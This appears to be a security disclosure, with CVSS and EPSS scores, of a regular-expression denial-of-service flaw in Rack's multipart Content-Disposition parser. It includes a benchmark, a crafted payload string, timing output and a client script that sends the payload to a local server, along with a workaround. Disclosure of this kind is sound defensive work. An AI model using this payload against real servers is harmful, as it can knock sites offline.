7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
0.0004 Low
EPSS
Percentile
10.4%
Hello, I found ReDoS on Rack.
I found this problem using recheck
(https://makenowjust-labs.github.io/recheck/), a ReDoS detection tool.
This tool has found multiple places where there seems to be a problem with the rack code, but since there are many and it takes time to check the behavior, I will first report on Rack::Multipart::RFC2183
, which is the most dangerous.
This is detected as exponential by recheck.
āÆ bundle exec irb
irb(main):001:0> require 'rack'
=> true
irb(main):002:0> Rack::Multipart::RFC2183
=> /^(?i-mx:Content-Disposition:\s*(?-mix:[^\s()<>,;:\\"\/\[\]?=]+)\s*)((?-mix:;\s*(?:(?-mix:((?-mix:(?-mix:(?-mix:[^ \t\v\n\r)(><@,;:\\"\/\[\]?='*%])+)(?-mix:\*[0-9]+)?))=((?-mix:"(?:\\"|[^"])*"|(?-mix:[^\s()<>,;:\\"\/\[\]?=]+))))|(?-mix:(?-mix:((?-mix:(?-mix:(?-mix:[^ \t\v\n\r)(><@,;:\\"\/\[\]?='*%])+)(?:\*0)?\*))=((?-mix:[a-zA-Z0-9\-]*'[a-zA-Z0-9\-]*'(?-mix:%[0-9a-fA-F]{2}|(?-mix:[^ \t\v\n\r)(><@,;:\\"\/\[\]?='*%]))*)))|(?-mix:((?-mix:(?-mix:(?-mix:[^ \t\v\n\r)(><@,;:\\"\/\[\]?='*%])+)\*[1-9][0-9]*\*))=((?-mix:%[0-9a-fA-F]{2}|(?-mix:[^ \t\v\n\r)(><@,;:\\"\/\[\]?='*%]))*))))\s*))+$/i
rfc2183_benchmark.rb
require 'benchmark'
require 'rack'
regexp = Rack::Multipart::RFC2183
def attack_text(length)
"Content-Disposition:G;\f=\"" + "=;1=\";\fD=\";t*1*" * length + '='
end
Benchmark.bm do |x|
x.report { attack_text(5)[regexp] }
x.report { attack_text(10)[regexp] }
x.report { attack_text(15)[regexp] }
x.report { attack_text(20)[regexp] }
x.report { attack_text(25)[regexp] }
x.report { attack_text(26)[regexp] }
end
āÆ bundle exec ruby rfc2183_benchmark.rb
user system total real
0.000018 0.000004 0.000022 ( 0.000016)
0.000357 0.000000 0.000357 ( 0.000361)
0.010888 0.000018 0.010906 ( 0.010961)
0.342814 0.000717 0.343531 ( 0.344750)
10.925193 0.022059 10.947252 ( 10.979092)
21.906178 0.049380 21.955558 ( 22.024203)
Gemfile
# frozen_string_literal: true
source "https://rubygems.org"
gem 'rack', '~> 2.2', '>= 2.2.3'
gem 'puma', '~> 5.6', '>= 5.6.2'
class Server
def call(env)
Rack::Request.new(env).params
[ 200, {}, []]
end
end
run Server.new
require "net/http"
require "uri"
class Net::HTTPGenericRequest
def encode_multipart_form_data(out, params, opt)
charset = opt[:charset]
boundary = opt[:boundary]
buf = ''
params.each do |key, value|
buf << "--#{boundary}\r\n"
buf << "Content-Disposition:G;\f=\"" + "=;1=\";\fD=\";t*1*" * 27 + '='
buf << "Content-Type: application/octet-stream\r\n\r\n"
buf << "content"
buf << "\r\n"
end
buf << "--#{boundary}--\r\n"
flush_buffer(out, buf, false)
end
end
data = [["dummy"]]
url = URI.parse('http://127.0.0.1:9292/')
req = Net::HTTP::Post.new(url.path)
req.set_form(data, "multipart/form-data")
res = Net::HTTP.new(url.host, url.port).start do |http|
http.request(req)
end
bundle exec rackup
& bundle exec ruby rfc2183_request.rb
When the client sends a specially crafted header, it occur ReDoS on the server side.
I confirmed that the combination of puma, unicorn, puma + nginx, unicorn + nginx occur Redos.
There are several other places where Rack::Multipart
is likely to be ReDoS, and it seems good to exclude it as a workaround if user do not use file upload.
class Rack::Request
def parse_multipart
nil
end
end
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
0.0004 Low
EPSS
Percentile
10.4%